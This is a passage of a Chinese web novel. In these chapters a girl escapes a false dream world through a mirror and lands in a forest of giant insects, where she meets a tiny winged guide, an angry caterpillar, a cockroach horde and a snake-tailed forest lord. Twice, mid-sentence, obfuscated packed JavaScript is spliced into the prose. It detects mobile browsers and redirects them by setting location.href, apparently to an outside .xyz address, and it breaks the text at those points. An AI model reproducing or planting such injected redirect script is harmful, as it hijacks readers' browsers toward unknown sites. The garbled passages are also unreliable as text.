“小旗?”海珀困惑的声音从手机那头响起。 海旗迷茫的眼神闪过一抹亮光,又迅速把语音挂掉了。 空荡冷清的街道上,店铺住宅的门窗全部敞开,任由风声呼啸,将装潢吹走,吹成刚建好的房胚,空空荡荡没有一丝人气,格外萧条冷落。 除了风声,只能听见自己快得不正常的心跳,快要呼吸不过来,即将晕厥。 天地也跟着一阵眩晕旋转,眼前场景变幻。等缓过来,睁眼一看,自己又回到病房躺着,鼻子里插着吸氧器。 若不是手上还握着那个陀螺,真以为自己又做了一场噩梦而已。 “小旗?你怎么了?”海珀焦急的声音突然在门口响起。 海旗难以置信地盯着门口的人影,见他马上就要进来,急忙吼了一句:“别过来!”并迅速坐起来。 假的!都是假的! 妈妈是假的,海珀也是假的,徐蕊也是假的!这个世界也是假的! 很快,海旗就做出决定。她扯掉氧气管,推开海珀往走廊尽头的仪容镜那儿跑。 她才不要活在这个虚假的世界里! 她要回去!回到现实去! 镜子安安静静的,镜中的自己就是自己,不是那个血泪红唇的鬼样子。 那个说要带她回去的人没出现。 海旗敲着镜面大喊:“喂,你出来!” “小旗,你去哪儿?该睡觉了。”海珀用关切的语气呼喊她,张开双手一步一步朝她走来,“乖,快回来。” 他的话像毒药,引诱她中毒。 海旗转过身:“哥哥……”往回走。 平日里温柔沉稳的哥哥,此刻如同恶魔低语,哄骗她回到地狱。 抓不住的虚幻,可不就是地狱。 走了几步,海旗停下了,向海珀微微一笑,加快脚步过去。 就在海珀即将抓住她时,海旗坚定地转身跑走,抬手挡在身前,用尽全力猛地跳起砸向那面仪容镜,眼神清明,动作一气呵成。 镜子应声而碎,她的身体被扎满碎玻璃,血流了一地,很痛。 镜子后是一片混沌,看起来比脚下这一片虚空也好不到哪儿去。有的是无限可能。 破碎的口还不够大,不足以一个人穿过。海旗又抡起手臂砸了好几下,直到整面镜子完全碎裂。 “快进来!”空灵的童音终于响起。 海旗没有犹豫,立马跨过墙壁,纵身越入黑暗。 跳下去的前一刻,她回头望了一眼那个温柔以待的哥哥,露出一抹甜甜的笑。 海珀,请尊重我的决定,不必担心我。 海珀似乎明白了,垂下手也抿嘴笑了。 身后的世界崩塌,一切化为灰烬。只剩海珀站在其中,一直看着眼前破碎的方框。 4. 巨虫之森、启 海旗是在树上悠悠转醒的。 跳下去后在无尽的黑暗中不知下坠了多久,巨大的冲击力将她震晕过去,最终被挂在树杈上才停下来。 艰难地扶着树干靠起来喘息……结果发现并不艰难,就是浑身乏力,有点酥酥麻麻地痒,并没有什么痛感。 奇了怪了。 透过枝叶缝隙往外观察,除了挂住她的这棵树,四周都是茂密高大的树木,这里貌似是一片森林。 海旗先检查了一下自身状况:病号服被鲜血染红,裸/露的皮肤尤其是手臂上插着不少碎片,干涸的血液和血痂扒在皮肤上,看起来伤得挺重。 趁着痛觉还没回归,海旗将嵌在肉里的碎片拔掉,又检查了有没有摔骨折的地方。摸到肋骨的位置好几次怪异突兀的骨头心里就有了答案。 眼神一瞥,那个陀螺也跟着来到了这片森林。将它垂直地放在树干上轻轻一转,果不其然旋转起来,没有要停下的趋势。 这里终于是正常的梦境之中了。 否则不会身受重伤而身体毫无痛感,只有脑子异常清醒。现在的满腹疑团都必须找到那个镜中人来解答。 除了镜子,也没有其他能够找到“她”的途径了。 就在这么想时,刚刚被拔掉的碎镜片咻然爆发出闪耀的光芒。待稍稍适应后,只见一道瘦小的身影逐渐浮现。先是虚的,一手过去都能打散了,而后点点光斑汇聚凝实,人影初现。 白光缓缓退去,终于看清了。 这应该是个小精灵。 因为它实在是很小一只。符合人类对精灵的幻想。 具体有多小呢?海旗举起手臂比对了一下,她小臂多长就有多高,长了两对透明的金色羽翼,耳朵也是尖尖的精灵耳,符合精灵形象。 小精灵浑身赤/裸,肌肤细腻白皙似白雪,而脸颊两侧、耳后以及双肩处的皮肤覆盖着墨色鳞片。手腕和脚踝也有,像戴了墨玉手镯。它有一头如墨的长发,高高束在脑后,发尾垂到脚踝上。 这些鳞片不但没有破坏小精灵的俏皮可爱,反而增添了一丝神秘感。 小精灵瞪着一双水灵灵的墨色大眼看着海旗,脑袋一晃一晃,乖乖束在脑后的长发也跟着一晃一晃的。 海旗直接脱口而出:“精灵?” “不是哦。”它似乎很开心,眉眼弯弯,嗓音是稚嫩可爱,若是加上空灵诡异的回荡,那就很熟悉了。 海旗不确定地问:“那……你是?” 这个精灵无疑就是镜中人,它也确实是从镜子里显形的。可这外形实在太出乎意料。 莫非这是什么梦境的衍生灵?掌管梦中世界的小神明? “我叫星星,不过我确实不是精灵啦。”自称星星的小家伙扇动着翅膀,绕着海旗转圈圈查看。 小身子尖耳朵加上透明羽翼,除了那一身像海底生物的墨鳞,这不是小精灵是什么? 看海旗一脸不信,星星想了想还是解释起来:“这副身形是按我自己的喜好捏造的,真的不是精灵族哦。你看是不是很好看?” 海旗半信半疑:“……还不错。” “别小看我这副小身板哦,上天入地还有下海那是样样精通呢!”星星得意地绕着她飞了好几圈,羽翼颤动飘落大片鳞粉。 海旗不解地问:“你有翅膀,上天入地还能理解。为什么能下海?你还能在水里呼吸?” “你猜对了!我有腮的哦~”星星神秘兮兮地偏头凑近,露出耳后的位置,“你看,在这儿。我还有蹼呢!”又张开双手双脚展示给她看。指缝随着手指张合,果不其然一层半透明的薄膜若隐若现。 “哇哦~好厉害!”海旗震惊了。 但现在貌似不是说这些的时候。于是强硬地转回正题:“那你是镜子里那个……人?吗?” 虽然星星否认自己是精灵,但海旗依然不认为它属于人的范畴,用梦境衍生物来概括或许更合适。 星星开心道:“是我呀。你现在一定有很多疑问对不对?不过你先别急,我能告诉你的,我都会全盘托出。嗯……你是想你问我答?还是我直接说?” 海旗感觉身上的伤口越来越痒,吃力地饶了几下,问:“我问你答。第一个问题,你说我被困在梦里,这是怎么回事?” 星星老实回答:“这个比较复杂。首先,人在潜意识里会把你的记忆你的欲望,糅杂之后创造出能满足需求的奇妙世界,称之为梦境。在梦里,你必然是主角。而你,就是这样沦陷于美妙的梦境之中,不愿清醒。当然,你可以选择继续留在美梦中,只是现实中的身体机能将会陷入沉睡,假以时日睡死过去。” 海旗皱了皱眉,一方面感觉痛觉在恢复,伤口又疼又痒,另一方面,她认为自己不是那种沉迷美梦不能清醒的人,这不符合她的作风。 “你的意思是,我沉迷的美梦,是那个有父母哥哥疼爱,有交心挚友陪伴,刚结束高考即将步入大学生活的梦吗?” 家庭幸福美满,有亲人朋友疼爱,被爱包围,生活充满希望,如此积极向上的人生,确实挺美的。 “Bingo!”星星在一根细枝桠上坐下,小手指打了个响指,“真聪明!正是那个幸福人生的美梦把你困住了。” 仔细一想,海旗像个泄气的气球,无奈道:“这不是说明现实里我是那种没人疼没人爱的孤单小可怜?说不定是连大学都没考上的落榜生,越缺什么越想得到什么,对吧。话说你的鳞粉是不是有毒?我怎么感觉我越来越疼了!” “嘿嘿……”星星满脸心虚地飞远了一点,嘟囔道,“这不是毒哦……” 海旗不太能忍痛,疼得“嘶嘶”叫:“那是什么?” 星星解释说:“我的鳞粉能让你在梦境中恢复现实躯体的感知,比如痛觉什么的……” 海旗很嫌弃:“这正常吗?能不要吗?” “不能。”星星坚定地摇头,“这能帮你疗伤的,你先忍忍嘛,很快就好了。咱们继续刚才的话题吧,接下一个问题!” 海旗从来没伤得这么重过,浑身上下没一处好的,随着痛觉恢复,疼得冷汗直冒。 忍着痛给了星星几个眼神刀,要不是还要听它解惑,就应该操控梦境秒了它! 比如,用眼神杀人什么的肯定可以实现。 “……行,我忍!那我问你!我为什么被困梦中?又要怎么离开?怎么苏醒回到现实?” 星星说:“你这都三个问题了,说好一个个来的。第一个问题我刚讲了,主要是情况复杂,我也不知道怎么回答你,先放一边。然后第二个问题就是我为什么要来找你……” “那个……” 上方茂密的树冠处突然传来一道尖细但稚嫩的声音,一大一小应声抬头,看清发出声的生物后,海旗是两眼发直,嘴巴张得能塞进去两鸡蛋,双手不自觉的扣紧树皮;星星瞥了一眼也着急忙慌地飞到树干后躲起来。 从树冠上冒出头的,是一只青绿色的虫子,它战战兢兢地探出个绿脑袋瞪着一双布灵布灵的虫眼,居高临下地望着她们。 而另两人有如此反应的重点是:这是一只大虫子! 有多大?这么说吧,海旗165cm/54kg,而大虫子的大脑袋就有两三个海旗那么宽,藏在枝叶后的身体恐怕有两三米长,星星那么小只的都不够它塞牙缝的。 “这什么玩意儿啊?”海旗终于缓过来发出惊叹,也顾不得伤口的疼痛,起来赶紧逃。强烈的求生意识直接激发肾上腺素,半麻利地顺着树干往下爬。 “诶,别走啊!”尖细声又响起,终于确认了那只巨大青虫会说话。 只见它立起庞大的前躯,两只前足拨开碍事的枝叶,把往下爬了一半的海旗从腋下抄起来了! “啊——”海旗下意识地挣扎反抗,眼见自己离它的嘴越来越近,感觉下一秒一个深渊巨口就能把自己的头给咬掉。 虽说这是在她的梦里,肯定死不了,应该死不了吧……但现在因为星星的鳞粉恢复了痛觉,是一定会疼死的! 她可以接受爽快地死一了百了,但不能接受这般磨难痛不欲生! 她怕痛啊,超级怕的! 海旗强迫自己冷静下来,既然大青虫会说话,说明是个高智力生物,可以沟通。万事好商量,不如先友好交流一下。 “海旗,快想办法逃!要是被它吃了,你是真的会死的!”星星不知什么时候躲到更远处的树后露出个小脑袋大声喊,“神仙来了都救不活的那种!” “……” 打脸要不要来得那么快?这不是在梦里吗?怎么还会死?谁做个梦真的能把自己作死?这还怎么沟通? 谁知大青虫一听,钳着海旗的前足立马嫌弃地往外伸:“喂!别乱说好不好,人家是素食主义者。谁要吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585998|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人了?又柴又韧还腥,难吃死了!” 海旗和星星:“……” 原来您是真吃过啊! 这下更惶恐了! “那你……您抓我干嘛?”海旗还是壮起胆子问话。 大青虫翘起尾巴灵活地指了指,树梢顶的细枝芽上艰难地托举着一个巨大的类似鸟窝的东西,中间有一个大窟窿。 “你把我辛辛苦苦搭的窝给砸了,我当然要找你算账!” 海旗仔细看了看,隐约有碎镜片残留在枯枝缝里,反射出亮光。看起来确实很像自己的杰作。 “你是说那个窟窿是我砸的?”海旗脸都黑了,瞬间忘了恐惧,不可置信地指着那个鸟窝,“那些枝条都有我半个小臂粗了,你说是我砸得?” 被短暂遗忘的痛觉瞬间回归。原来肋骨就是这么被砸断的吧,没把她砸死也真的是福大命大! 看来她的福气在后头呢。 “是你砸得没错啦。” 此时星星默默地飞回来,帮着大青虫指认。海旗一个眼刀飞过去,星星弱弱地避开。 这就叛变了?人性呢?哦对,它也不是人…… 大青虫气呼呼地说:“呐呐呐,它也说了是你砸的,你别想赖账,你得赔我!” 碍于性命被拿捏,海旗妥协道:“那你要怎么赔?重新搭一个?” “嗯……”大青虫认真思考了一下,“可以,但我得换个地方搭窝,你还得护送我。” 海旗不解:“为什么?” “那还不是因为你!”大青虫忽然咆哮,“我好不容易找到个风景好,安全度高的地儿,你从天而降那么大动静砸下来,把我天敌都引过来了!我马上就要化茧了!在这个最重要的时刻,就是你!就是因为你!给我毁了!” 海旗被喷了满身的口水,黏液融化干涸的血迹,伤口……好像没那么痛了? 但是好恶心! 海旗一边抹掉身上的黏液,一边安抚道:“我那会儿昏死状态,又不是故意的。我给你道歉嘛,非常非常对不起。你也别太激动,怪吓人的。然后你能不能先放我下来?这样举着多难看啊是不?等我养好伤立刻给你搭窝好不好,保证搭得结结实实漂漂亮亮的!” “哼!谁要接受你们这些臭人类的道歉,破坏我们的居住环境,看见我们不是捏死就是踩死,还嫌我们长得恶心,都快把我们整濒危了。我才不会轻易原谅你……”大青虫越想越气,颇有要撕碎她给同胞们偿命的迹象。 咆哮声中,一阵地动山摇,那个半残的窝终于撑不住散架了,树叶也被抖落不少。大青虫立刻止声,接着抖成了筛子。 有什么东西来了! 海旗叫道:“你别抖啊!到底怎么了?先把我放下来行不行啊小……大虫虫?”嗓音都跟着在抖。 星星飞上空中查看,很快就一脸惊恐地跌回来:“外面黑压压的,大批不明生物正在靠近!我们得赶紧逃,不然这回肯定被吃得渣都不剩!” 大青虫一听,整张虫脸都煞白煞白的:“完了完了完了!我没法化茧了!没法成蝶了!我要死了!啊!”说完魂儿都飞走了,心如死灰地倒下,歪歪扭扭地挂在树上装死。 然而它的前足还死死地钳着海旗,根本挣脱不了:“喂,您别装死啊?先放我下来啊!” 海旗在半空晃晃荡荡,透过枝叶缝隙,依稀看出那黑压压的一片是什么很熟悉的生物。 身体开始本能地发颤,汗毛耸立,鸡皮疙瘩起了一层又一层,嘴巴大张,眼睛也瞪得老大。 人在极致绝望时,是叫不出声的。 不要怀疑,没有谁能看到眼前出现那么大一批黑漆漆、密密麻麻的蟑螂还可以镇定站着的! 如果有,要么那个人很喜欢蟑螂说不定还自己养,要么看到的不是如眼前这种有健壮成年男子那么大只的! 不是一只两只哦,而是一群呢! 还都是像人一般站立行走奔跑,两条长长的触/须跑起来一颠一颠的,还很有节奏。 没记错的话,蟑螂是杂食的,会吃肉吃人的!这么大一群,比蝗虫过境还要恐怖。都不用两秒,她跟这个大虫子就被骨肉分离了! 噩梦!这绝逼是噩梦! 亲爱的小星星精灵?请不要上下乱蹿!请问您有帮人实现愿望的业务吗? 请告诉我怎么立刻马上回到现实,谢谢! 5. 螂口逃生 好在星星虽然慌,但没撇下她。不知道从哪儿捡了根细枝条,手忙脚乱地想要撬开大青虫的前足。 “你坚持一下,我马上就能救你出来了!” 海旗:“拜托了,恩人!” 大青虫吃痛,翘起脑袋小声说:“别乱动!这群蟑螂大军可是你引来的,我要被吃了,你就得给我陪葬!” 好恶毒的虫虫。 海旗看似冷静道:“不是,这种时候你不想着逃生反而装死等着被吃?你是觉得那群大蟑螂不会吃死虫子吗?” “逃?你好好看看四面八方,有哪个缝隙能给你逃?老娘亡命天涯那么多年,逃不逃得了我没数吗?劝你跟我一起装死,万一它们挑食真不吃死的呢?”说完继续装死。 海旗无能狂怒:“拜托!蟑螂这种恶心玩意儿什么不吃啊!你自己侥幸心不要拉上我好吗?” “不能赌这么大的!”星星还在找角度,见状插话道,“大虫子先不说,海旗你要是被吃了,那是真的死翘翘了,我刚刚告诉过你的!” 海旗自然没有忘记,现在还被加深了印象,更惶恐了。 “你不用提醒我的,我惜命着呢。” 星星还是坚持解释了一下:“现在的你就是自我的意识所化,也是灵魂的碎片之一。意识体一旦死亡,灵魂缺失,那你就离魂飞魄散不远了。现实的躯体会陷入沉睡,直到一切机能停止,步入死亡。” “你现在才说会不会太晚了点?”本来还没太当一回事的,这下好了,不惜命都不行了。 不能就此坐以待毙,一定有办法逃生的。海旗强迫自己镇定,认真思考如何求生。 首要任务就是先恢复自由,于是和大青虫打商量:“大虫子,你先放开我呗,我绝对会想办法让你活着化茧成蝶的!你相信我!” 大青虫眯缝着眼看了一圈愈发逼近的蟑螂大军,距离死期预计不到两分钟,于是继续闭眼装死: “你的话一点说服力都没有,我不要!” 没时间浪费口舌了,还是靠自己想办法吧。 闭上眼睛,集中注意力,嘀嗒嘀嗒……指针转动的声音在脑海中逐渐清晰。海旗的脑袋从未如此高速运转过: 按星星所说,现在所发生的一切皆来源于自我潜意识所创造的梦境。既然由“我”创造,那么我是不是可以改变这个走向呢? 她立马试了一下,想要控制蟑螂大军调头离开。但不知道是数量太多还是什么,一点用都没有!浪潮还在逼近,立马否决了这个方案。 那就换个思路好了,既然控制不了它们,那能不能控制我自己呢? 一低头,大军已经到大树底下,马上就要爬上来了。眼下脱离困境保命要紧!不行也要行! 说时迟那时快,海旗强大的意念流转,眼前场景发生变换,粗壮的枝干变成白色的墙面,脚下是踏实地瓷砖地板,震耳欲聋的憾地声消失,取之而代的是一片平静。 太好了,成功了! 然而白墙一晃而过,脚底刚沾上瓷板砖,刚放下的心又被振聋发聩的地鸣声提了起来! 可恶,失败了!! 至少成功了一瞬,人生有了希望,只是还需努力。能成第一次,就一定能成第二次。 大青虫疑惑地问了一句:“刚刚什么东西闪过去了?” “有希望!大虫子,你快放海旗下来,咱们不用被吃掉了!”星星激动地掰它前足,催促道。 大青虫一听很麻溜地松开了,整个虫身快速紧贴着海旗绕了一圈,生怕她不带上自己。海旗在其中显得尤为娇小。 要不是眼下逃命要紧,海旗定要好好吐槽。 然而这是一项艰难的工作,必须全力集中全力操控,稍有一丝分神大家都要命丧螂口! 方才成功的那一刻,海旗感觉有一股神秘的力量扭曲了空间,将她们拉扯回来。那现在她要做的就是与那股力量抗衡,来回拉扯,眼前白墙与树干来回闪烁,能否成功只在瞬息之间。 “大哥,前方发现美味!” “有只菜虫!好久没吃过美味菜虫了!” “菜虫带回去给老妈补身体,大小人儿就赏兄弟姐妹们了!” “噢!开饭咯!” 群螂欢呼! “喂!你行不行啊!”大青虫听到螂群要抓它去进补,急得催促,被星星抽了一树枝制止了。 “你别碰她!最后一线生机等下被你碰没了!大家都得死!” 螂群逼近,黑白轮换,星星下意识抓紧了什么。其中一只大蟑螂已经扑到跟前,裂开嘴口器席卷而来,马上要将海旗卷走之际,扑了个空。 “哐当”一声,大蟑螂结结实实地撞在树干上,看见了不少星辰大海,脑袋肿了个大包:“诶?” “大哥?补品消失了!” “俩小料也不见了!” “怎么回事?见鬼了?” 见状,螂群纷纷散开让出一条路,一只肌肉发达超级健壮的大蟑螂以非常装逼的步伐走过来,正是被叫作大哥的头螂。只见它快速爬上树干,围着那一小片空地转了五六圈仔细查看,呼哧呼哧嗅着空气中弥留的浓郁气息,立马打破了刚刚装逼得体的形象。 “凭空消失了?”语气沉着冷静。 树干上除了血迹,没有留下任何痕迹。头螂探出口器把血吸溜干净,复眼里密密麻麻的小眼睛骨碌碌地转,亮起诡异的红光,一副满足的模样。 “啊~哈哈哈哈哈哈……” 鲜血让它痴狂,仰天狂笑。笑完弓起背,羽翼震颤伸展,随之飞出树梢。螂群见状也跟着兴奋地振翅,在空中待机。 整片森林上空被乌嘛嘛地螂群覆盖,将阳光阻挡在外。森林之中,置身黑暗。 反观海旗这边,经过不懈努力终于成功逃生。 一人一虫一精灵,虽然星星否认自己是精灵,但还是将它暂且归为精灵。 三位身处一个四四方方的小房间,除了前后左右上下六面白墙,什么也没有。 一踏实下来,海旗直接瘫软在地上,大口大口地喘粗气,不忘吐槽:“这群恶心蟑螂真的是我能梦出来的?” “终于安全了!”星星也长吁一口气,松开了紧握着的——大青虫前足,“妈呀!”意识到自己一直抓着的是那条大虫子,立马甩开飞回海旗身边,拽着她的衣服擦手。 海旗瞥了一眼:“……”算了,无力吐槽,反正衣服本来就脏。 “哎哟!小小一只,力气还怪大的咧!”大青虫被甩得没站稳,顺势倒下,但又没完全倒下,而是被卡住了。 海旗稍微缓过来了:“吓死我了,要真的命丧蟑螂口,那可丢人丢大发了!” 不管来个什么死法也不乐意被蟑螂咬死。 然而还没放松几分钟,小房间又剧烈摇晃起来。 “啊——人类!怎么回事啊?!”大青虫正奋力摇摆着圆润的虫体,崩溃地问。 海旗晃荡着走到墙角,背靠墙体更有安全感。她说:“我哪知道啊?我还想问呢!星星?” 大青虫见状也学她艰难地扭着身体退到对面的墙角。房间不大,整条虫几乎折成九十度贴着墙,大青脑袋贴在天花板上。 “问我啊?别急别急,容我想想先!”星星会飞,因此不怎么受晃动影响,但也同样焦急地托着腮思考。 小房间越晃越激烈,人已经站不住了。墙面也出现裂痕,越裂越大。 大青虫看见裂痕更崩溃了:“现在怎么办啊?我不想死啊!我还没化蝶呢!” 海旗仔细想了想:“难道是刚刚跟我拉扯的那股力量在作祟?” 像是回应一般,墙体应声碎裂。海旗立马集中精神稳住,又是一场拉锯战:“给我稳住啊小白房!” 一集中精神,果然有一股强力的劲儿将她往回拉。海旗哪肯认输,铆足劲儿跟它拼! 在不懈的努力下,白墙被修复,小房间渐渐停止了晃动。 但是!四四方方的小房间突然变成圆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585999|171752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,海旗一个打滑摔倒,断了拉扯。这个球又像被人拿在手上,一会儿抛起一会儿落下,又是旋转又是翻腾。几个回合后,海旗和大青虫头晕眼花地一个吐白泡泡一个吐绿泡泡,就连星星也失衡砸在大青虫身上。 小房间不知道什么时候变回方的,她们三被堆在其中一处墙角,身上、地上满是散落的书本和纸张,翻腾间没少被厚重的书砸。 等等……哪来的书? 海旗爬起来,抖落身上的书,揉着身上被磕疼的地方嘀咕:“伤上加伤,痛死了……”嘀咕完发现原本遍布伤痕的手臂竟然一片光滑,伤口已然痊愈,又顾不得疼痛摸向原先骨折的位置,“我的伤好了?”虽然还是很痛。 大青虫晕得不省人事,还没回神。小小一只的星星挺遭罪,失衡后不知道被转了多少圈。它甩甩头,摇摇晃晃地飞起来。 “我……我想……起来了,是……是虫主……” 海旗疑惑道:“什么虫主?” 把星星拽过来,给它拍拍小脸蛋让脑子快速归位。 “虫主,就……就是……森林之主……” 然而星星的话还没完,又是一阵失重。 “!!!” 大青虫直接被吓清醒了,一睁眼,密密麻麻的蟑螂大军就朝她们俯冲而下。 “啊!啊!!啊!!!” 怎么突然回来了!? 海旗再次扎扎实实地砸进树梢,砸在树干上,好不容易长好的肋骨感觉又断了。还来不及喊痛,几只大蟑螂已经飞到面前,张开口器,吐出细长的信子,争着要咬下她的脑袋。 虽然很不合时宜,但还是忍不住想吐槽:蟑螂的嘴真的长这样吗?有这么大吗?跟异形似的!这是什么缝合怪? 黑暗笼罩。完了,这下真的要没了! 不是说临死前会有走马灯过,放映人生的所有经历吗?为什么此刻脑子只有一片空白?我的走马灯呢?难道因为她没有现实人生的记忆,所以连这一步都省略了?OMG!人怎么能死得这么憋屈! 算了,不想了,反正都是一个死,闭上眼睛迎接死亡吧!不想看见那恶心吧啦的蟑螂口器! 然而,没有想象中脖子断裂血浆炸开的痛感,脑袋也没有被嚼的破碎感,只感觉有什么温热的液体往脸上滴,然后流淌下来。 难道痛觉又消失了?这才对嘛,这才是梦里嘛。 海旗小心翼翼地睁开眼,发现自己果然还活着。 赚到了! 环顾四周,发现不少蟑螂尸体,不对,应该是尸块血淋淋地被挂在树杈上,不知被什么人打成了碎渣渣。滴在她脸上的黏稠液体,正是那些尸块溅出的白色蟑螂血。 海旗还是被恶心到了,控制不住地干呕。 剩余那些待命的蟑螂,像被定住般,定格在半空,齐齐望着海旗所在那棵树的上方,眼中满是敬畏与惶恐。 缓过劲来顺着它们的目光望去,透过树梢,只见一个朦胧萧条的身影似乎在打量着她,看得不太真切。 下一刻,树梢被拨开,视野扩大,人影显露——是一个披着墨青色长发,气宇轩昂的男人。特点依然是巨大。 他俯身探下来,阴影笼罩,海旗下意识想后退,却发现已经背靠树干退无可退。只好低头避开视线,避免对视。 然而这视线不移还好,一移更是惊得她瞪大双眼。 男人的下半身,鳞片映出墨绿微光。是蛇尾! 这是个人身蛇尾的巨怪! 这是一片原始森林,森林的树高至少五十米,地面盘根错节,树干粗壮至少三四个人才能环住。因此海旗躺在树杈上是如履平地。森林中巨大的不止植物,所见的昆虫也都大得离谱,继大青虫和大蟑螂后,又出现了更大的怪物。海旗在这里像只迷你小人儿误闯奇妙之境。 巨虫之森,海旗给这片森林取了个名字。 而这个凭空出现的男人……男怪,竖起蛇尾立到海旗所在的位置,难以想象他的巨大。 6. 出发南塘湾 “虫虫虫……虫主!” 大青虫喜极而泣地飞奔上前扒住男人的腰,阻止了他的动作,声泪俱下地说:“我就知道您一定不会弃我于不顾的,伟大的虫主!您一定是不愿意看到我们碧凤一族面临灭族的窘境对不对!” 虫主?他就是虫主? “青凤,你先下来。”一道低沉又摄人心魄的嗓音从他口中溢出。 “海旗,你没事吧!”星星不知道从哪个角落飞了回来,绕着她上下查看,很是担心。 “没事,还活着。”海旗小声问,“那就是你刚说的虫主?为什么是蛇?蛇不是虫吧?” 星星说:“嗯……谁说长虫不是虫呢?你要知道,梦境是没有逻辑可言的!” “……”无法反驳。 被叫青凤的大青虫恋恋不舍地从虫主身上离开,缩在树后抹泪收惊。 “林中许久未见人类了,”虫主的视线重新望过来,凑近海旗轻轻嗅了嗅,吐着信子舔唇,“倒是新鲜。” 海旗心一惊,新……新鲜?什么意思?这是说她是活着的、新鲜的、鲜嫩多汁的……肉吗? 虫主威压凝重,海旗不敢随便开口,生怕他一个不开心把自己吞吃入腹。就算他不吃人,一尾巴甩过来也拍成肉泥,渣都不剩那种。 不过往好处想,被他吃掉好过被蟑螂啃食。至少长得很帅,气质是冰冷阴湿半妖恶男? 啊呸呸呸!想什么呢?不能死! “那个……”海旗吞了吞口水,抻出手,尽可能地挤出一抹友好和善的笑容,尝试与他套近乎,“您好呀?” 虫主饶有兴致地看着她的手,眼神怪异地打量。海旗乍一看发现,手上血迹遍布。怎么把这茬忘了。 仔细一听,似乎有吞咽的声音从虫主的喉间传出。 海旗讪讪地把手收回来藏到背后,干笑道:“哈哈……那个我叫海旗大海的海旗帜的旗今年18岁请问您尊姓大名?” 虫主的视线总算离开她的手和脖颈,落到脸上,与她对视。又想起螂群还在,眼神一转一狞,发出强大的气场。周遭螂群立即四散奔逃,转瞬即净。再看过来时,唇角随之勾起一抹邪魅的笑。 “我许你唤我之名:幽夜。” 两颗尖牙随着嘴角的弯曲暴露出来,仿佛下一秒就要咬上来。野兽般的金黄竖瞳仿佛有魅惑之力,将海旗深深吸入其中,亮得瘆人。 虫主见海旗不说话,愈发凑近。不知是不是错觉,眼神中隐隐有所期待。 海旗忐忑着试探喊了一声:“嗯……幽……幽夜?”要不再握个手我们都是好朋友? 幽夜一听,嘴角的笑容更深了,眼睛都眯起来了,看起来很满意的样子。但配上他这巨大的体型,大白天的还是很阴森很可怕。 似乎是看出了海旗的窘迫,幽夜退开了一定的安全距离,视线转移到星星身上。 而星星一改先前的活泼,双翼向下委屈地缩着,小脑袋低垂着,小手也紧紧攥着海旗的病号服,沉默地往身后躲,想尽办法降低存在感,好像有什么洪水猛兽要吃了它。 海旗莫名,低声问:“你躲什么?” 星星声细如蚊:“我怕蛇……” 海旗说:“怕什么,上半身不是长着人样吗,顶多算半妖不能算蛇。我们现在是一条船上的,他看着你了你别怂啊。” 星星辩解道:“那他也长着蛇尾呢,我没办法说服自己他本体不是蛇,我就是害怕所有关于蛇的东西!要不你想想办法将他打发走,直觉告诉我他不好对付,绝对不是什么好东西……喂喂喂!他怎么伸手过来了?海旗救命啊!” 幽夜揪起星星,发现什么新大陆似的,拿到太阳下饶有兴致地观摩。也许是到处都是巨大生物的森林里,难得出现了这么个小玩意,觉得很有意思。比人类还有点意思。 海旗害怕他要对星星干什么,赶紧开口:“那个……它叫星星,是我的好朋友。你可以把它还给我吗?” “好朋友?”幽夜重复着这三个字,思考了一下,有点舍不得地把星星还回去了。 海旗伸手接住,星星直接扑进海旗怀里哇哇大哭。孩子被吓惨了,赶紧拍背安抚。 “海旗,你可以做我的好朋友吗?”幽夜突然语出惊人道。 “……啊?”海旗不知该作何表情了。 这是认真的吗?不是这对吗? 您一个掌管巨虫之森的老大虫主耶,要跟我一个小小的普通人类做朋友?这对吗?您老人家以后在森林里还混得下去吗?还是说您虽然贵为虫主大人,但其实在森林里是孤寡老人一个,实际上身边也没个贴心虫?所以内心空虚寂寞,急需一个好朋友? “啊?”青凤听到耶风急火燎地爬到幽夜面前,“虫主不可啊!她一个小小人类有什么资格成为伟大的虫主大人的好朋友?” “是啊是啊,”海旗附和着大青虫的话,摆手道,“我就是一个小小的人类,我也没你们那么大体格,体型上就不合适了。” 或许你比我还小只一点,看起来人畜无害一点,那我还是很乐意和你交朋友的。但你比树都高,把我吞下去都不够塞牙缝的,绝对不干,不行就是不行! 青凤继续说:“而且她还弄坏我的窝!那可是我一路千辛万苦跋山涉水大半年,和各路天敌斗智斗勇,好不容易寻了处风景好又安全的好位置,一根一根捡树枝辛辛苦苦搭起来的。然后她‘啪’一下就给我砸坏咯!这个窝我才搭好两天!两天啊虫主,我都还躺热乎呢!她就是个坏人类,您得离她远远点,我怕她到时候把您的洞窟都给弄坏了……” 眼见青凤的小虫嘴一直叭叭说个不停,幽夜无奈地扶额,看样子没少被它吵。 “好了青凤,你先停嘴。” 青凤还是乖乖闭嘴了。 海旗赶紧撇清:“……我对蛇洞不感兴趣的,谢谢。” 幽夜问:“是你把青凤的窝毁坏的?” 海旗点头:“但我不是故意的。”谁家无意识降落期间还要看看底下有没有什么不能砸的东西啊,就算看到了也避不开吧。 海旗又说:“但是我跟青凤很诚恳地道歉了,也说了我会赔的,我给它重新搭一个。新地址它选,我护送它,捡材料给它搭一个更稳当的,保准舒舒服服漂漂亮亮的。说了会赔我就一定会赔的!您相信我!” “你当然要赔,你还必须得给我搭一个更好的!”青凤愤愤道。 海旗重重点头:“嗯!你说得对!” 